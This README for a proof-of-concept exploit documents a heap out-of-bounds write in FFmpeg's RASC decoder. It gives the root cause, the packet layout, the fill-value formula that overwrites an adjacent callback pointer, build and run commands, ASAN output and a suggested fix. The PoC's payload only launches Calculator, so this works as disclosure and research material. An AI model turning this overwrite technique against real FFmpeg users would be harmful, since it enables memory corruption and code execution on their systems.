Files
exploitarium/ffmpeg-rasc-dlta-calc-poc/README.md
2026-06-26 12:37:41 -05:00

6.8 KiB

FFmpeg RASC DLTA calc PoC

This directory contains a standalone Calculator proof for a heap out-of-bounds write in FFmpeg's RASC decoder.

The PoC builds a RASC packet in memory, decodes it through the public libavcodec API, uses a valid custom get_buffer2 callback for the DR1 decoder, and redirects an adjacent callback pointer. The redirected callback writes a marker under /tmp and launches Calculator.

Status

Verified target:

FFmpeg upstream master
bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c
2026-06-26

Local result:

media-controlled RASC DLTA overwrite redirected callback
callback hijacked callback reached
marker:present
CalculatorApp 26628 6/26/2026 12:25:53 PM

Files

poc/ffmpeg_rasc_dlta_calc_poc.c
scripts/build_from_checkout.sh
scripts/run_calc_pop.sh
evidence/current-master-asan.txt
evidence/local-calc-pop.txt
SHA256SUMS.txt

Affected Target

  • Product: FFmpeg
  • Component: libavcodec RASC decoder
  • Decoder: AV_CODEC_ID_RASC
  • File reachability: AVI/RIFF RASC FourCC maps to AV_CODEC_ID_RASC
  • Verified commit: bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c
  • Affected function: decode_dlta()
  • Useful run types: 4, 7, 12, 13

The local Calculator proof uses run type 7 because the 32-bit fill value comes directly from the bitstream.

Impact

A crafted RASC bitstream can drive a 32-bit read and 32-bit write at the end of a decoded frame row. With PAL8 output and a one-row 64-pixel frame, the decoder writes at plane + 63 while the row allocation is 64 bytes. One byte lands in the final row byte and the following three bytes overwrite adjacent heap data.

The included PoC places a callback pointer immediately after the 64-byte PAL8 plane. The DLTA command writes the low three bytes of the callback pointer, changing it from benign_callback to calc_callback. After decode completes, the PoC calls the pointer and Calculator launches.

Root Cause

decode_dlta() tracks a cursor cx inside a region with width w * s->bpp. The NEXT_LINE macro checks whether cx reached the row width only after each operation:

if (cx >= w * s->bpp) {
    cx = 0;
    cy--;
    b1 -= s->frame1->linesize[0];
    b2 -= s->frame2->linesize[0];
}
len--;

Several DLTA run types perform 32-bit accesses before the row-end check. Run type 7 reads and writes four bytes at the current byte cursor and then advances by four:

fill = bytestream2_get_le32(&dc);
AV_WL32(b1 + cx, AV_RL32(b2 + cx));
AV_WL32(b2 + cx, fill);
cx += 4;
NEXT_LINE

For PAL8, s->bpp is 1. A DLTA region with x = 63, w = 1, and h = 1 on a 64-pixel row sets b2 + cx to the final byte of the row. The 32-bit store crosses the row allocation boundary.

Packet Shape

The PoC packet contains two RASC chunks:

INIT
  width  = 64
  height = 1
  format = 8
  palette = 1024 bytes

DLTA
  x = 63
  y = 0
  w = 1
  h = 1
  compression = 0
  command = 07 01 <fill32>

The fill32 value is generated at runtime:

fill32 = ((target_callback & 0x00ffffff) << 8) | 0x41

The byte 0x41 lands in the last byte of the frame plane. The next three bytes overwrite the low three bytes of the adjacent callback pointer.

Exploit Flow

  1. The PoC opens the RASC decoder through avcodec_find_decoder() and avcodec_open2().
  2. The PoC installs exploit_get_buffer2() as the decoder buffer provider.
  3. RASC INIT causes init_frames() to allocate frame1 and frame2.
  4. exploit_get_buffer2() returns a frame buffer where a callback pointer follows the 64-byte PAL8 plane.
  5. RASC DLTA run type 7 writes past frame2->data[0] + 63.
  6. The write changes frame2_chunk->cb from benign_callback to calc_callback.
  7. The PoC verifies the pointer value.
  8. The PoC invokes the callback.
  9. The callback writes /tmp/ffmpeg_rasc_exec_demo and launches Calculator.

Build

Clone FFmpeg and build the PoC against a RASC-only static libavcodec build:

git clone https://github.com/FFmpeg/FFmpeg.git /tmp/ffmpeg
./scripts/build_from_checkout.sh /tmp/ffmpeg /tmp/ffmpeg-rasc-build ./ffmpeg_rasc_dlta_calc_poc

Dependencies:

Linux or WSL
gcc
make
zlib development headers
FFmpeg build dependencies for the selected platform

The build script configures FFmpeg with:

--disable-programs
--disable-autodetect
--disable-everything
--enable-zlib
--enable-decoder=rasc

Run

./scripts/run_calc_pop.sh ./ffmpeg_rasc_dlta_calc_poc

Expected output:

[addr] benign_callback=0x5fec957072c9
[addr] calc_callback=0x5fec957072e3
[ptr] frame1 callback after decode=0x5fec957072c9
[ptr] frame2 callback after decode=0x5fec957072e3
[ptr] expected target=0x5fec957072e3
[ok] media-controlled RASC DLTA overwrite redirected callback
[callback] hijacked callback reached
marker:present

On WSL, the callback starts Calculator through PowerShell Start-Process calc.exe. On Linux desktops, the callback tries common calculator binaries after writing the marker file.

Local Verification

Calculator proof:

[addr] benign_callback=0x5fec957072c9
[addr] calc_callback=0x5fec957072e3
[ptr] frame1 callback after decode=0x5fec957072c9
[ptr] frame2 callback after decode=0x5fec957072e3
[ptr] expected target=0x5fec957072e3
[ok] media-controlled RASC DLTA overwrite redirected callback
[callback] hijacked callback reached
marker:present

ProcessName             Id StartTime
-----------             -- ---------
ApplicationFrameHost 24728 6/25/2026 9:55:34 PM
CalculatorApp        26628 6/26/2026 12:25:53 PM

ASAN proof on current master:

==513==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 4 at 0x50a000000442 thread T0
#0 decode_dlta build/src/libavcodec/rasc.c:421:17
#1 decode_frame build/src/libavcodec/rasc.c:712:19

0x50a000000442 is located 2 bytes after 64-byte region [0x50a000000400,0x50a000000440)
SUMMARY: AddressSanitizer: heap-buffer-overflow build/src/libavcodec/rasc.c:421:17 in decode_dlta

Recovery-mode ASAN on the same source shape reports the follow-on writes:

READ of size 4
decode_dlta rasc.c:421:17

WRITE of size 4
decode_dlta rasc.c:421:17

WRITE of size 4
decode_dlta rasc.c:422:17

Patch Shape

The row-boundary check needs to happen before every 32-bit read or write in DLTA run handlers. For run types that operate on four-byte units, the decoder should reject a command when fewer than four bytes remain in the current row or perform a safe row transition before the 32-bit access.

The guarded condition for a 32-bit operation is:

cx + 4 <= w * s->bpp

The same guard applies to run types 4, 7, 12, and 13.

References